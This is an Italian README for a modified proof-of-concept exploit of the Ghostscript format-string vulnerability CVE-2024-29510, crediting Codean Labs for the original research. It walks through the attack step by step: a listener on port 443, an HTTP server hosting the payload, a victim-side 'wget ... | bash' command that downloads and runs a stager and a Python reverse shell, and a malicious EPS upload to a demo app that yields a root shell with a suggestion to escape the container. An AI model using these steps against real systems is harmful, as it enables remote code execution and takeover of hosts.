Original research and POC code: https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/
NOTA: non ho apportato modifiche al POC a parte il comando eseguito. Tutto il merito va a Thomas Rinsma @ Codean Labs per la loro fantastica ricerca e POC.
Scenario Locale
- Incluso in uno script stager per scaricare ed eseguire lo script di controllo e verificare se l'host è vulnerabile
- POC modificato per scaricare ed eseguire una reverse shell Python3
- Stager e reverse shell scaricati ed eseguiti tramite STDIN
- Il POC lascia un artefatto in /tmp con nome casuale
Sull'host attaccante:
- Usando pwncat-cs o netcat, crea un listener per la porta 443
- Vai nella directory dell'exploit
- python3 -m http.server 80
Sull'host vittima (Ubuntu 23.10 con Ghostscript 10.01.2):
- Apri il terminale ed esegui: export RHOST=''; wget -q http://$RHOST/run -O - | bash &
Scenario Remoto (VulnApp)
- Compila VulnApp usando: 'docker build -t cve-2024-29510-demo:latest .' (Richiede una copia di https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10021/ghostscript-10.02.1.tar.gz nella directory del Dockerfile)
- Esegui VulnApp usando: 'docker run --rm -p 5000:5000 cve-2024-29510-demo:latest'
- Prova a convertire good.ps per testare il funzionamento. Dovrebbe restituire un PDF renderizzato con linee che disegnano una freccia, ad esempio '>'
- Configura un server web sulla porta 80 che ospiti shell.html, ad esempio 'python3 -m http.server 80'
- Usando pwncat-cs o netcat, crea un listener per la porta 443
- Carica bad.eps, VulnApp si bloccherà e il listener dovrebbe catturare una reverse shell per il container (in esecuzione come root)
- Esci dal container!